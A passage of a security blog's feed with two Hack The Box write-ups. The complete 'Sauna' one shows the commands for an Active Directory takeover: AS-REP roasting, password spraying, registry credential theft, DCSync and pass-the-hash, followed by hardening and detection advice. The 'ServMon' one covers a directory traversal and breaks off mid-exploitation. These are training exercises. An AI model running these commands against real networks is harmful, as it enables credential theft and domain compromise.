Sa]]></description><link>https://www.hack2harden.com/oscp-prep-9-htb-write-up-sauna</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-9-htb-write-up-sauna</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sun, 15 Mar 2026 18:32:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1513a486-c03a-4b40-9a08-26b4b749a490.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Sauna<br /><strong>Platform:</strong> HTB<br /><strong>Operating System:</strong> Windows<br /><strong>Objective:</strong> Gain initial access to the target, escalate privileges, and fully compromise the Active Directory environment.</p>
<p>Sauna is a Windows Active Directory target hosted on Hack The Box. The machine exposes several services typically associated with a domain controller, including Kerberos, LDAP, SMB, and RPC. During initial reconnaissance a web server was also discovered running IIS, which is somewhat unusual for a domain controller and therefore worth investigating further. The domain name and hostname are leaked during enumeration, providing useful information for further Active Directory attacks.</p>
<h3>Tools Used</h3>
<p><strong>Nmap</strong><br />Used for initial service discovery and version detection to identify exposed services on the target host.</p>
<p><strong>NetExec (nxc)</strong><br />Used extensively for Active Directory enumeration, including SMB share discovery, domain user enumeration, password spraying, and SMB spidering.</p>
<p><strong>rpcclient</strong><br />Used to attempt anonymous RPC enumeration of domain users.</p>
<p><strong>Kerbrute</strong><br />Used to perform Kerberos-based username enumeration to identify valid domain accounts.</p>
<p><strong>Username Anarchy</strong><br />Used to generate potential username permutations from employee names discovered on the website.</p>
<p><strong>Impacket (GetNPUsers.py)</strong><br />Used to perform <strong>AS-REP roasting</strong> against the <code>fsmith</code> account in order to obtain a crackable Kerberos hash.</p>
<p><strong>John the Ripper</strong><br />Used to crack the recovered AS-REP hash offline and recover the <code>fsmith</code> password.</p>
<p><strong>Evil-WinRM</strong><br />Used to authenticate to the target system and obtain a remote PowerShell shell using compromised credentials.</p>
<p><strong>SharpHound / BloodHound</strong><br />Used to enumerate Active Directory relationships, ACL permissions, and privilege escalation paths within the domain.</p>
<p><strong>Impacket (secretsdump.py)</strong><br />Used to perform a <strong>DCSync attack</strong> after discovering that the <code>svc_loanmanager</code> account had the <code>GetChanges</code> and <code>GetChangesAll</code> privileges over the domain object.</p>
<p><strong>Impacket (psexec.py)</strong><br />Used to perform a <strong>pass-the-hash attack</strong> using the recovered Administrator NTLM hash, resulting in a shell running as <strong>NT AUTHORITY\SYSTEM</strong>.</p>
<hr />
<h1>2. Enumeration</h1>
<h2>Active Directory Attack Checklist</h2>
<ol>
<li><p>Add FQDN to <code>/etc/hosts</code></p>
</li>
<li><p>Enumerate SMB and attempt anonymous share access</p>
</li>
</ol>
<hr />
<h2>Service Enumeration</h2>
<p>As always, the first step is to perform a full port scan against the target to identify exposed services.</p>
<pre><code class="language-plaintext">nmap -sC -sV -p- &lt;target-ip&gt;
</code></pre>
<p>The scan reveals several services that strongly indicate the host is operating as a Domain Controller.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0b5e52ae-dbfa-4848-8df7-b26102dfcb5b.png" alt="" style="display:block;margin:0 auto" />

<p>The scan also reveals important Active Directory information:</p>
<pre><code class="language-plaintext">Domain: EGOTISTICAL-BANK.LOCAL
Hostname: SAUNA
</code></pre>
<p>Because Active Directory authentication relies heavily on DNS and proper hostname resolution, we must first add the fully qualified domain name (FQDN) of the target to our <code>/etc/hosts</code> file before continuing with enumeration.</p>
<pre><code class="language-plaintext">&lt;target-ip&gt; sauna.egotistical-bank.local sauna
</code></pre>
<p>This ensures our system can properly resolve the domain controller when interacting with Kerberos, LDAP, SMB, and other AD services.</p>
<h2>SMB/ RPC Enumeration</h2>
<p>With the domain information identified, the next step is to attempt anonymous SMB enumeration to determine whether the server allows unauthenticated access to shares.</p>
<p>Using <strong>NetExec</strong>, I attempted to enumerate SMB shares with null authentication.</p>
<p>The server responded indicating that null authentication is technically accepted, but share enumeration fails with an access error.</p>
<p>These results indicate that while SMB is reachable, anonymous enumeration of shares is restricted.</p>
<p>Since many Active Directory environments allow <strong>anonymous RPC enumeration</strong>, I attempted to enumerate domain users using <code>rpcclient</code>.</p>
<p>Inside the RPC shell, I attempted to enumerate domain users.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/34a86949-21c1-4326-bea0-d2d374af2fd9.png" alt="" style="display:block;margin:0 auto" />

<p>However, this attempt also fails with the following error:</p>
<pre><code class="language-plaintext">NT_STATUS_ACCESS_DENIED
</code></pre>
<p>This confirms that <strong>anonymous RPC enumeration is also restricted</strong> on the domain controller.</p>
<hr />
<h2>Web Enumeration</h2>
<p>Since direct enumeration of domain users is restricted, I shift my attention to the web server running on port 80.</p>
<p>The server is identified as Microsoft IIS 10.0, and browsing to the site reveals a simple marketing page for a fictional company called Egotistical Bank. The site appears to consist entirely of static HTML content, with no login functionality or interactive features.</p>
<p>While exploring the site, one page displays a list of <strong>company employees along with their full names</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6bc5afec-db34-4eb6-8a91-9ae1399b1928.png" alt="" style="display:block;margin:0 auto" />

<p>Although the site itself does not present any obvious vulnerabilities, the presence of employee names is extremely useful from an attacker’s perspective. In many corporate environments, domain usernames are derived directly from employee names.</p>
<p>Because of this, I collect these names and use them to build a <strong>potential username wordlist</strong>.</p>
<h2>User Enumeration</h2>
<p>To generate possible username formats from the employee names, I used the tool Username Anarchy.</p>
<p>This tool generates common username permutations such as:</p>
<ul>
<li><p><code>fsmith</code></p>
</li>
<li><p><code>fergus.smith</code></p>
</li>
<li><p><code>smithf</code></p>
</li>
<li><p><code>f.smith</code></p>
</li>
</ul>
<p>With the generated username list, I then attempted Kerberos-based username enumeration using <strong>Kerbrute</strong>.</p>
<p>This technique works because Kerberos responses differ when a username exists versus when it does not exist, allowing valid users to be identified without needing a password.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/eef8bcc6-35b8-47e3-967c-55df8150dd00.png" alt="" style="display:block;margin:0 auto" />

<p>The scan successfully identified a <strong>valid domain user</strong>:</p>
<pre><code class="language-plaintext">VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
</code></pre>
<p>This confirmed that the <strong>fsmith</strong> account exists within the domain.</p>
<hr />
<h1>3. Exploitation</h1>
<h2>Credential Discovery</h2>
<h3>Step 6 — AS-REP Roasting</h3>
<p>Once a valid username is identified but no password is known, step 6 of my AD checklist is to attempt <strong>AS-REP roasting</strong> against the account.</p>
<p>This returned a <strong>Kerberos AS-REP hash</strong> for the user.</p>
<p>I saved the hash and cracked it offline using <strong>John the Ripper</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a5417245-4f7b-443f-b91c-48d95af4e0cb.png" alt="" style="display:block;margin:0 auto" />

<p>The password was successfully recovered:</p>
<pre><code class="language-plaintext">Thestrokes23
</code></pre>
<p>This resulted in the compromise of the <strong>fsmith</strong> domain account.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Step 7 — Check for WinRM Access</h3>
<p>After compromising a user account, the first thing I check is whether the account has <strong>WinRM access</strong>. If available, WinRM allows us to obtain a <strong>remote shell on the target system</strong>, which significantly broadens the attack surface and makes it easier to transfer tools or binaries.</p>
<p>I tested the credentials using <strong>Evil-WinRM</strong>.</p>
<pre><code class="language-plaintext">evil-winrm -i 10.129.7.13 -u fsmith -p 'Thestrokes23'
</code></pre>
<p>The authentication succeeded, confirming that <strong>fsmith has WinRM access</strong>.</p>
<hr />
<h3>Step 8 — Enumerate Domain Users</h3>
<p>With valid credentials, I then enumerated all users in the domain using <strong>NetExec over SMB</strong>.</p>
<p>This revealed several domain accounts</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/57681d09-7a68-4c45-9340-9d577a31d3ac.png" alt="" style="display:block;margin:0 auto" />

<p>I saved these users into a <strong>user list for further attacks</strong>.</p>
<hr />
<h3>Step 9 — Password Spraying</h3>
<p>A common attack technique after compromising one user is to attempt <strong>password reuse</strong> against other accounts.</p>
<p>It is very common in enterprise environments for users or service accounts to reuse passwords.</p>
<p>Using the list of discovered users, I performed a <strong>password spray using the compromised password</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/29b69f30-08ec-4aeb-bc43-eb58a6d159bd.png" alt="" style="display:block;margin:0 auto" />

<p>This revealed that the password was reused by another account:</p>
<pre><code class="language-plaintext">EGOTISTICAL-BANK.LOCAL\HSmith : Thestrokes23
</code></pre>
<p>This resulted in the successful compromise of the HSmith account.</p>
<h3>Step 10 — BloodHound Enumeration</h3>
<p>Now that I had shell access to the machine, the next step in my methodology was to run <strong>BloodHound</strong> to identify potential <strong>Active Directory privilege escalation paths</strong>.</p>
<p>Using <strong>Evil-WinRM</strong>, I uploaded the <strong>SharpHound</strong> collector to the compromised host and executed it to gather Active Directory enumeration data.</p>
<p>After the collection completed, SharpHound generated a compressed archive containing the collected data.</p>
<p>I then used the <strong>download</strong> feature in Evil-WinRM to retrieve the archive to my attacking machine.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fb67683e-f4fc-4c49-b537-00db6eba2b9e.png" alt="" style="display:block;margin:0 auto" />

<p>After importing the dataset into <strong>BloodHound</strong>, I analyzed the relationships between users, groups, and domain objects.</p>
<p>However, the compromised accounts did <strong>not</strong> have any useful privileges, group memberships, or outbound object control that could be abused for privilege escalation.</p>
<p>Because BloodHound did not reveal a viable path forward, I decided to move on to SMB enumeration to continue searching for additional attack vectors.</p>
<p>I attempted additional enumeration via SMB using the <code>spider_plus</code> module in NetExec.</p>
<pre><code class="language-plaintext">nxc smb 10.129.7.13 -u hsmith -p 'Thestrokes23' -M spider_plus
</code></pre>
<p>Surprisingly, this returned <strong>no accessible files</strong>, making SMB a dead end.</p>
<p>At this point I returned to my WinRM shell to perform deeper local enumeration.</p>
<hr />
<h3>Step 11 — Search for AutoLogon Credentials</h3>
<p>When performing local enumeration from a compromised Windows host, one of the quickest checks is to search for <strong>AutoLogon credentials</strong> stored in the registry.</p>
<p>AutoLogon is a Windows feature that allows a system to automatically log in a user account at startup. When this feature is configured, the credentials are often stored in the registry under the <strong>Winlogon configuration keys</strong>. If misconfigured, these credentials can be retrieved by attackers and used to compromise additional accounts.</p>
<p>To check for this, I queried the following registry location using PowerShell:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b13ce884-b26d-41f4-88eb-275914c03438.png" alt="" style="display:block;margin:0 auto" />

<p>The output revealed several Winlogon configuration parameters. Two entries immediately stood out:</p>
<pre><code class="language-plaintext">DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : MoneyMakestheworldgoround!
</code></pre>
<p>This indicates that the system is configured to automatically log in using the <strong>svc_loanmgr</strong> service account, and the password for that account is stored directly in the registry.</p>
<p>This misconfiguration provided <strong>valid credentials for a new domain service account</strong>, giving me another potential foothold for continuing the attack chain.</p>
<h3>Identify DCSync Privileges</h3>
<p>With the credentials for <strong>svc_loanmgr</strong>, I returned to BloodHound to analyze the permissions associated with this account.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2e63d38d-ee0f-41f5-912c-b807518b70a0.png" alt="" style="display:block;margin:0 auto" />

<p>Immediately, a critical privilege stood out: the account had both <strong>GetChanges</strong> and <strong>GetChangesAll</strong> permissions over the <strong>domain object</strong>.</p>
<p>In Active Directory, these permissions allow an account to replicate directory changes. When both permissions are present, the account can perform a <strong>DCSync attack</strong>.</p>
<p>A DCSync attack allows an attacker to impersonate a domain controller and request password hashes for any account in the domain directly from Active Directory. This effectively grants the ability to dump credentials for high-value accounts such as Administrator and krbtgt.</p>
<p>Because svc_loanmgr possessed these privileges, it was possible to directly retrieve domain credential hashes.</p>
<hr />
<h3>Dumping Domain Password Hashes</h3>
<p>To perform the DCSync attack, I used Impacket's <code>secretsdump</code> tool with the compromised service account credentials.</p>
<pre><code class="language-plaintext">impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.129.7.13
</code></pre>
<p>Using the <strong>DRSUAPI method</strong>, the tool successfully retrieved domain password hashes from the domain controller.</p>
<p>Among the results was the <strong>Administrator NTLM hash</strong>:</p>
<pre><code class="language-plaintext">Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
</code></pre>
<hr />
<h3>Pass-the-Hash to Obtain SYSTEM</h3>
<p>With the Administrator NTLM hash in hand, I used Impacket's <code>psexec</code> tool to perform a <strong>pass-the-hash attack</strong> against the domain controller.</p>
<p>The attack succeeded and spawned a shell running as <strong>NT AUTHORITY\SYSTEM</strong>, confirming full compromise of the target system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1321748-79b1-4768-8305-02b0a67ddf0c.png" alt="" style="display:block;margin:0 auto" />

<p>This provided complete control over the domain controller and concluded the privilege escalation phase of the attack.</p>
<h1>5. Lessons Learned</h1>
<h3>Key Attacker Takeaways</h3>
<ol>
<li><p><strong>Kerberos User Enumeration is Extremely Valuable</strong></p>
<p>One of the most important takeaways from this machine was the effectiveness of <strong>Kerberos-based user enumeration using Kerbrute</strong>. Even when traditional enumeration methods such as SMB, RPC, and LDAP fail due to access restrictions, Kerberos can still reveal valid usernames through differences in authentication responses. Identifying a single valid user was the key that unlocked the entire attack chain.</p>
</li>
<li><p><strong>Username Anarchy is an Excellent Username Generation Tool</strong></p>
<p>The employee names discovered on the website were converted into likely username formats using <strong>Username Anarchy</strong>, which made Kerberos enumeration far more effective. Many organizations follow predictable naming conventions for usernames, and tools like Username Anarchy help automate the process of generating those patterns.</p>
</li>
<li><p><strong>Always Check for WinRM Access After Compromising a User</strong></p>
<p>After recovering valid credentials, verifying <strong>WinRM access</strong> immediately provided a remote shell on the system. Having interactive access to the host significantly expands the attack surface and allows attackers to perform deeper enumeration directly from within the environment.</p>
</li>
<li><p><strong>Password Reuse Remains a Common Weakness</strong></p>
<p>After enumerating additional domain users, performing a <strong>password spray</strong> using the compromised credentials revealed that another account (<code>hsmith</code>) reused the same password. Password reuse is extremely common in real environments and is often one of the fastest ways to expand access within a domain.</p>
</li>
<li><p><strong>AutoLogon Credentials Are a Common Misconfiguration</strong></p>
<p>Systems configured for automatic login often store credentials directly in the registry. If these values are readable by a compromised user, attackers can recover the associated credentials and pivot further within the domain.</p>
</li>
<li><p><strong>GetChangesAll Over the Domain is Essentially a Domain Compromise</strong></p>
<p>Discovering that the <code>svc_loanmanager</code> account possessed <strong>GetChanges</strong> and <strong>GetChangesAll</strong> permissions over the domain object was a critical finding. These permissions allow an attacker to perform a <strong>DCSync attack</strong>, which effectively allows the attacker to impersonate a domain controller and retrieve password hashes for any account in the domain.</p>
</li>
</ol>
<h1>6. Defensive Insight</h1>
<h3>Hardening Opportunities</h3>
<ol>
<li><p><strong>Enforce Kerberos Preauthentication</strong></p>
<p>The attack chain began with <strong>AS-REP roasting</strong> of the <code>fsmith</code> account. This attack is only possible when the <strong>“Do not require Kerberos preauthentication”</strong> setting is enabled for a user. Organizations should ensure that Kerberos preauthentication is enforced for all accounts unless absolutely necessary.</p>
</li>
<li><p><strong>Restrict Public Exposure of Employee Information</strong></p>
<p>The initial foothold was enabled by discovering employee names on the company website. While publishing employee names is common for marketing purposes, it can provide attackers with the information needed to generate likely username formats. Organizations should carefully consider how much employee information is publicly exposed.</p>
</li>
<li><p><strong>Prevent Password Reuse Across Accounts</strong></p>
<p>The compromise of <code>hsmith</code> occurred due to <strong>password reuse</strong>. Enforcing strong password policies and implementing password reuse prevention mechanisms can significantly reduce the risk of attackers expanding access after compromising a single account.</p>
</li>
<li><p><strong>Avoid Storing AutoLogon Credentials in the Registry</strong></p>
<p>The system was configured to use <strong>AutoLogon</strong>, which stored credentials directly in the Winlogon registry key. This allowed attackers to retrieve the password for the <code>svc_loanmanager</code> account. Systems should avoid using AutoLogon for domain accounts, especially service accounts with elevated privileges.</p>
</li>
<li><p><strong>Limit Privileged Active Directory Permissions</strong></p>
<p>The <code>svc_loanmanager</code> account had <strong>GetChanges</strong> and <strong>GetChangesAll</strong> permissions over the domain object. These permissions allow a user to perform a <strong>DCSync attack</strong>, effectively granting the ability to replicate password hashes from the domain controller. Such privileges should be strictly limited to legitimate domain controllers and carefully audited.</p>
</li>
<li><p><strong>Audit Active Directory ACLs Regularly</strong></p>
<p>Misconfigured ACL permissions on domain objects can introduce powerful attack paths that are difficult to notice without tools like BloodHound. Organizations should routinely audit Active Directory permissions to ensure that sensitive rights such as <strong>GetChangesAll</strong>, <strong>WriteDACL</strong>, and <strong>GenericAll</strong> are not assigned to unnecessary accounts.</p>
</li>
</ol>
<hr />
<h3>Detection Opportunities</h3>
<ol>
<li><p><strong>Monitor Kerberos Enumeration Attempts</strong></p>
<p>Tools like <strong>Kerbrute</strong> generate a large number of Kerberos authentication attempts in a short period of time. Security monitoring solutions should detect abnormal authentication patterns that could indicate username enumeration.</p>
</li>
<li><p><strong>Detect AS-REP Roasting Activity</strong></p>
<p>AS-REP roasting generates <strong>Kerberos AS-REP requests without preauthentication</strong>, which can be detected in domain controller logs. Monitoring for these events can help identify attackers attempting to exploit roastable accounts.</p>
</li>
<li><p><strong>Alert on Suspicious WinRM Activity</strong></p>
<p>Unexpected <strong>WinRM logins</strong> from unusual hosts can indicate attacker lateral movement. Monitoring WinRM authentication events can help detect unauthorized remote access attempts.</p>
</li>
<li><p><strong>Monitor Password Spraying Behavior</strong></p>
<p>Password spraying often generates repeated authentication attempts against multiple accounts using the same password. Detection systems should look for authentication patterns consistent with password spraying.</p>
</li>
<li><p><strong>Detect DCSync Attempts</strong></p>
<p>DCSync attacks generate <strong>directory replication requests</strong> from non-domain controller systems. Monitoring for replication operations originating from unauthorized hosts can help detect this highly critical attack technique.</p>
</li>
</ol>
<h1>Useful Commands</h1>
<h3>Enumeration Commands</h3>
<p><strong>Initial Service Enumeration</strong></p>
<pre><code class="language-plaintext">nmap -sC -sV -p- 10.129.7.13
</code></pre>
<p><strong>Anonymous SMB Enumeration</strong></p>
<pre><code class="language-plaintext">nxc smb 10.129.7.13 -u '' -p '' --shares
</code></pre>
<p><strong>Anonymous RPC Enumeration</strong></p>
<pre><code class="language-plaintext">rpcclient -U "" -N 10.129.7.13
enumdomusers
</code></pre>
<p><strong>Anonymous LDAP Enumeration</strong></p>
<pre><code class="language-plaintext">nxc ldap 10.129.7.13 --users
</code></pre>
<hr />
<h3>Username Discovery</h3>
<p><strong>Generate Username Permutations</strong></p>
<pre><code class="language-plaintext">username-anarchy -i user.txt &gt; new.txt
</code></pre>
<p><strong>Kerberos Username Enumeration</strong></p>
<pre><code class="language-plaintext">kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.129.7.13 new.txt
</code></pre>
<hr />
<h3>Exploitation Commands</h3>
<p><strong>AS-REP Roasting</strong></p>
<pre><code class="language-plaintext">impacket-GetNPUsers -request EGOTISTICAL-BANK.LOCAL/fsmith -no-pass -dc-ip 10.129.7.13
</code></pre>
<hr />
<h3>Privilege Escalation Commands</h3>
<p><strong>Password Spray Domain Users</strong></p>
<pre><code class="language-plaintext">nxc smb 10.129.7.13 -u user.txt -p 'Thestrokes23' --continue-on-success
</code></pre>
<p><strong>BloodHound Data Collection</strong></p>
<pre><code class="language-plaintext">.\SharpHound.exe -c All
</code></pre>
<p><strong>Search for AutoLogon Credentials</strong></p>
<pre><code class="language-plaintext">Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #8 HTB Write-Up 
ServMon]]></title><description><![CDATA[1. Target Overview
Machine Name: ServMon
Platform: Hack The Box
Operating System: Windows
Target IP: 10.129.227.77
Objective: Obtain both the user and administrator flags by identifying weaknesses tha]]></description><link>https://www.hack2harden.com/oscp-prep-8-htb-write-up-servmon</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-8-htb-write-up-servmon</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sun, 15 Mar 2026 10:35:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/67d72cac-b7f1-46d7-bfa2-25642e5031aa.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> ServMon</p>
<p><strong>Platform:</strong> Hack The Box</p>
<p><strong>Operating System:</strong> Windows</p>
<p><strong>Target IP:</strong> 10.129.227.77</p>
<p><strong>Objective:</strong> Obtain both the user and administrator flags by identifying weaknesses that allow initial access and privilege escalation.</p>
<p>ServMon is a Windows-based machine that exposes multiple network services commonly found in enterprise environments. These services provide a broad attack surface and require careful enumeration to understand what functionality they expose and whether any sensitive information is accessible.</p>
<h3>Tools Used</h3>
<ul>
<li><p><strong>RustScan</strong> – Rapid port discovery</p>
</li>
<li><p><strong>Nmap</strong> – Service enumeration</p>
</li>
<li><p><strong>Burp Suite</strong> – Intercepting and modifying HTTP requests</p>
</li>
<li><p><strong>Searchsploit</strong> – Exploit discovery</p>
</li>
<li><p><strong>Hydra</strong> – Credential brute forcing</p>
</li>
<li><p><strong>SSH</strong> – Remote shell access and port forwarding</p>
</li>
<li><p><strong>Python HTTP Server</strong> – File transfer to the target</p>
</li>
<li><p><strong>Netcat</strong> – Reverse shell listener</p>
</li>
<li><p><strong>NSClient++ Web Interface</strong> – Exploitation and task scheduling</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Port Discovery</h3>
<p>As always, I began the engagement by performing a full port scan to identify any exposed services on the target machine.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fec47a2b-c105-4aa4-9e38-eaff6d4b6072.png" alt="" style="display:block;margin:0 auto" />

<hr />
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/630f6371-3ebb-4840-aba0-c9e37196f164.png" alt="" style="display:block;margin:0 auto" />

<h3>Service Enumeration</h3>
<p>The Nmap scan revealed several interesting services running on the host:</p>
<pre><code class="language-plaintext">21/tcp    open  ftp           Microsoft ftpd
22/tcp    open  ssh           OpenSSH for_Windows_8.0
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt
</code></pre>
<p>One of the first things that immediately stood out was that <strong>FTP allowed anonymous login</strong>, which is always worth investigating since it may expose files or directories accessible without authentication.</p>
<pre><code class="language-plaintext">ftp-anon: Anonymous FTP login allowed
</code></pre>
<p>The scan also revealed the presence of <strong>two web services</strong> running on ports <strong>80</strong> and <strong>8443</strong>, which are typically high-priority targets during enumeration.</p>
<p>When visiting the web server on <strong>port 80</strong>, the page returned a redirect to:</p>
<pre><code class="language-plaintext">/Pages/login.htm
</code></pre>
<p>This suggested that the service was hosting a <strong>web-based login interface</strong>, which could potentially expose functionality or vulnerabilities worth investigating.</p>
<p>The HTTPS service on <strong>port 8443</strong> appeared to be associated with <strong>NSClient++</strong>, a monitoring agent commonly used in Windows environments.</p>
<p>Given these findings, the next step in the enumeration process was to begin investigating the <strong>web applications running on ports 80 and 8443</strong> to understand what functionality they exposed and whether they could provide an entry point into the system.</p>
<h3>Web Application Enumeration</h3>
<p>When visiting the web server on <strong>port 80</strong>, I was presented with a login panel for an application called <strong>NVMS-1000</strong>, which appears to be a web interface associated with a video monitoring or surveillance management system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5afdb1f9-2875-4479-b2a3-6d87d8be7049.png" alt="" style="display:block;margin:0 auto" />

<p>I first attempted several common default credential combinations. admin : admin and root : root. Both attempts failed to authenticate.</p>
<p>Since this appeared to be a third-party application, I performed a quick search for <strong>NVMS-1000 default credentials</strong>. Documentation suggested that the default login should be: admin : 123456</p>
<p>However, attempting these credentials also failed.</p>
<p>At this point, since authentication was unsuccessful and another web service had been identified during the port scan, the next step was to investigate the service running on <strong>port 8443</strong>.</p>
<h3>NSClient++ Interface (Port 8443)</h3>
<p>Next, I navigated to the HTTPS service running on port 8443, which presented a login interface for <strong>NSClient++</strong>, a Windows monitoring agent commonly used to allow remote systems to query host metrics and execute monitoring checks.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/59040fd6-7cac-40aa-9331-c4a8577d25ef.png" alt="" style="display:block;margin:0 auto" />

<p>Because tools like NSClient++ can execute commands on the host for monitoring purposes, they can become high-value targets if misconfigured or exposed externally.</p>
<p>I attempted several simple credential guesses such as:</p>
<pre><code class="language-plaintext">admin
root
</code></pre>
<p>However, authentication attempts failed. A quick search for default credentials for NSClient++ did not reveal any commonly used default passwords for the web interface.</p>
<p>At this point, since both web interfaces required authentication and no immediate entry point was found, I decided to shift my focus toward the FTP service, which allowed anonymous login. At the same time, I began running ffuf directory enumeration in the background against both port 80 and port 8443 to identify any hidden endpoints or resources that might provide additional attack surface.</p>
<h3>FTP Enumeration</h3>
<p>Since anonymous login was allowed on the FTP service, I connected to the server to see what files or directories were accessible.</p>
<pre><code class="language-plaintext">ftp -a 10.129.227.77
</code></pre>
<p>After connecting successfully, I enumerated the directory structure and discovered a <strong>Users</strong> directory that appeared to contain folders corresponding to local user accounts on the system.</p>
<pre><code class="language-plaintext">Users/
 ├── Nadine
 └── Nathan
</code></pre>
<p>Inside these directories I discovered two potentially interesting files:</p>
<pre><code class="language-plaintext">Confidential.txt
Notes to do.txt
</code></pre>
<p>Both files were downloaded for further analysis.</p>
<pre><code class="language-plaintext">get Confidential.txt
get Notes\ to\ do.txt
</code></pre>
<p>After examining the contents of these files, they appeared to be internal notes between users on the system. One message referenced a <strong>Passwords.txt file located on Nathan’s desktop</strong>, while the other listed several administrative tasks related to the NVMS application and NSClient configuration.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/adecea9b-357d-482d-aebd-413ae3b14741.png" alt="" style="display:block;margin:0 auto" />

<p>Although these notes did not immediately provide usable credentials, they did suggest that sensitive information may exist elsewhere on the system and confirmed that both NVMS and NSClient were actively being managed by the users.</p>
<hr />
<h3>Further Enumeration</h3>
<p>Since the downloaded files did not reveal any immediate credentials, I returned to investigating the exposed web applications. The directory enumeration running in the background with ffuf against ports 80 and 8443 did not reveal any interesting endpoints.</p>
<p>At this stage, with no direct access through the web interfaces and no immediate credentials from the FTP files, the next step was to begin researching known vulnerabilities affecting the NVMS-1000 application to determine whether a publicly known exploit might exist.</p>
<h3>Privilege Escalation Research</h3>
<p>While researching potential next steps, I also investigated the <strong>NSClient++ service</strong> that had been identified earlier during port enumeration.</p>
<p>Using <code>searchsploit</code>, I discovered a vulnerability affecting <strong>NSClient++ version 0.5.2.35</strong>.</p>
<p>The results revealed two relevant entries:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6daed617-7465-4969-907d-508ecd127c91.png" alt="" style="display:block;margin:0 auto" />

<p>Reviewing the privilege escalation advisory revealed that <strong>low-privileged users may be able to read the NSClient++ web administrator password in cleartext from the configuration file</strong> when the web server component is enabled.</p>
<p>Once the administrator password is obtained, a user can authenticate to the NSClient++ web interface and modify the configuration to enable modules capable of executing external scripts.</p>
<p>Since the <strong>NSClient++ service runs as</strong> <code>LocalSystem</code>, any scheduled scripts executed through the service will run with <strong>SYSTEM privileges</strong>, allowing a low-privileged user to escalate privileges on the system.</p>
<p>The exploit description also indicated that after modifying the configuration, a system reboot is required for the changes to take effect.</p>
<p>At this point I noted this vulnerability as a <strong>potential privilege escalation path</strong> once a foothold on the system had been obtained.</p>
<h3>Vulnerability Research</h3>
<p>Since the previous enumeration steps did not immediately reveal valid credentials or accessible functionality, I began searching for publicly known vulnerabilities affecting the <strong>NVMS-1000</strong> application.</p>
<p>Using <code>searchsploit</code>, I discovered a reported <strong>directory traversal vulnerability</strong> affecting NVMS 1000.</p>
<p>One of the results indicated that the application was vulnerable to directory traversal attacks that could allow an attacker to retrieve arbitrary files from the underlying system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7fb33f00-8245-420a-bf05-5bf8ab001c74.png" alt="" style="display:block;margin:0 auto" />

<p>The exploit description indicated that a specially crafted request using repeated <code>../</code> sequences could allow an attacker to access files outside of the web application directory.</p>
<p>To verify whether the target was vulnerable, I intercepted a request using <strong>Burp Suite</strong> and attempted to request the <strong>Windows</strong> <code>win.ini</code> <strong>file</strong> using a directory traversal payload.</p>
<p>The <code>win.ini</code> <strong>file is commonly used as a test file during directory traversal attacks</strong> because it is almost always present on Windows systems and can typically be accessed without elevated privileges. The file originally stored configuration settings for legacy Windows applications and 16-bit compatibility layers, and although it is largely unused by modern Windows systems, it is still included by default for backward compatibility.</p>
<p>Because of its predictable location (<code>C:\Windows\win.ini</code>) and universal presence on Windows hosts, it serves as a reliable indicator that a directory traversal attack is successfully reading files from the operating system.</p>
<p>The server responded with the contents of the file, confirming that the directory traversal vulnerability was indeed present on the target.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d16fbbf7-3acf-4579-95bb-1f90feb6bec8.png" alt="" style="display:block;margin:0 auto" />

<h1>3. Exploitation</h1>
<p>With the traversal vulnerability confirmed, I began thinking about files that might contain useful information. Earlier during <strong>FTP enumeration</strong>, I discovered a message referencing a <code>Passwords.txt</code> <strong>file located on Nathan’s desktop</strong>.</p>
